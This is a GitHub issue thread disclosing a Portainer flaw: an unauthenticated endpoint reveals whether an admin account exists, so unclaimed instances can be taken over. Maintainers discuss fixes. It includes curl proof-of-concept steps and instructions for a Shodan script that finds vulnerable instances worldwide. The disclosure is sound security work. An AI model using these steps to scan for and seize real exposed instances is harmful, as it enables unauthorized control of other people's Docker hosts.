portainer/portainer

Responsible Disclosure - Check if admin already created by a public API endpoint

lichti opened this issue · 15 comments

Portainer - Check if admin already created by a public API endpoint

PRODUCT DESCRIPTION

PORTAINER IS AN OPEN-SOURCE LIGHTWEIGHT MANAGEMENT UI WHICH ALLOWS YOU TO EASILY MANAGE YOUR DOCKER HOSTS OR SWARM CLUSTERS

BACKGROUND

  • Portainer until 1.19.2

VULNERABILITY DETAILS

Portainer provides an API endpoint (/api/users/admin/check) to verify that the admin user is already created. This API endpoint will return 404 if admin was not created and 204 if it was already created. This "feature" allows anyone to receive unauthorized access on the host when the portainer is configured incorrectly.

PROOF OF CONCEPT

Manual steps to reproduce the vulnerability:

  1. docker run --rm -it -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer
  2. curl -X GET -s -o /dev/null -w "%{http_code}" http://127.0.0.1:9000/api/users/admin/check
  3. If curl return 404, open web-browser and create a admin password. xdg-open http://127.0.0.1:9000

Applying this around the world with shodan:

git clone git@github.com:lichti/shodan-portainer.git
virtualenv --python python3 .venv
source .venv/bin/activate
pip install -r requirements.txt
export SHODAN_API_KEY=xxxxxxxxxxxxxxxxxxxxxxx
python portainer.py

If you has a paid plan, you can use a filters:

export SHODAN_FILTER = 'country:"BR"'
python portainer.py

Output example:

Country: US | ISP: Digital Ocean | http://142.x.y.158:9001/
Country: CA | ISP: Atlantic.net  | http://45.x.y.165:9000/
Error: skipping 206.x.y.63

WORKAROUND

Forcing the admin password by extra parameter on portainer CLI - configuration.html#admin-password. On source code portainer.go#L13-L14.

VULNERABILITY DISCLOSURE TIMELINE

2018-11-19: Vendor was contacted

AUTHOR & REVISION

Author: Gustavo Lichti gustavo.lichti@gmail.com

Revision:

More info:

shodan-portainer

Hi @lichti

Thanks for reporting this issue.

This is a matter of mis-configuration that could lead to a potential vulnerability. While we are not keen to force the setup of the default administrator credentials at deployment time, we're thinking about introducing a timer that would shut down the Portainer instance if an administrator account has not been created after 5 minutes.

This would balance the potential vulnerability exploit with UX and deployment simplicity which are core values of the software.

Any thoughts or alternative you'd like to propose?

Hi @deviantony,

Thanks for the answer, shutdown instancet portainer if admin account was not created after awhile, it's an idea. But another idea is to create a token at application startup, and to create the admin password, you need to put that token. The user can get this token with docker logs.

@lichti

Yeah sounds like we could also output a random temporary password in the logs and ask the user to set their own password after the first authentication but it would just complexify deployments.

As we'd like to keep our deployment procedure simple, we cannot really leverage docker logs as an extra manual step after deployment to retrieve some information that must then be passed in the UI.

Deployment procedure simple is good, but don't must to create a potential vulnerability. Sound good shutdown after five minutes, but are five minutes exposted to de world. Sound very simple to me the user configure a initial password by CLI parameter or environment variable.

Hi @deviantony,

Thanks for the answer, shutdown instancet portainer if admin account was not created after awhile, it's an idea. But another idea is to create a token at application startup, and to create the admin password, you need to put that token. The user can get this token with docker logs.

A token or a temporary password is a good approach. Jenkins team adopted this approach on install procedure, for example. This avoid insecure public instances when them launches.

Once Jenkins is running, consult the log (/var/svc/log/network-http:jenkins.log) to retrieve the generated administrator password for the initial set up of Jenkins, usually it will be found at /var/lib/jenkins/home/secrets/initialAdminPassword. Then navigate to localhost:8080 to complete configuration of the Jenkins instance.

Reference: https://jenkins.io/doc/book/installing/

in my humble opinion, "--no-authentication" should not exist. Integration with oauth and saml are more important features and do not exist. But "--no-authentication" is forced by user by CLI parameter.

I do:
docker run --rm -it -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer --no-auth

And:
curl -X GET -i http://127.0.0.1:9000/api/users/admin/check
HTTP/1.1 404 Not Found
Content-Type: application/json
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Date: Tue, 20 Nov 2018 17:54:10 GMT
Content-Length: 110

{"err":"No administrator account found inside the database","details":"Object not found inside the database"}

In this case, the Endpoint must return 204 and not 404.

UX cannot ignore security, to facilitating initial setup. We need aware users about scurity, and we need help them about this, not facilitating the setup but explaning the ploblem.

Have you guys considered disputing/rejecting this CVE with the National Vulnerability Database? This doesn't seem to qualify as a report-able CVE.

Where are the CVEs for open S3 buckets, MongoDBs and Elasticsearch instances?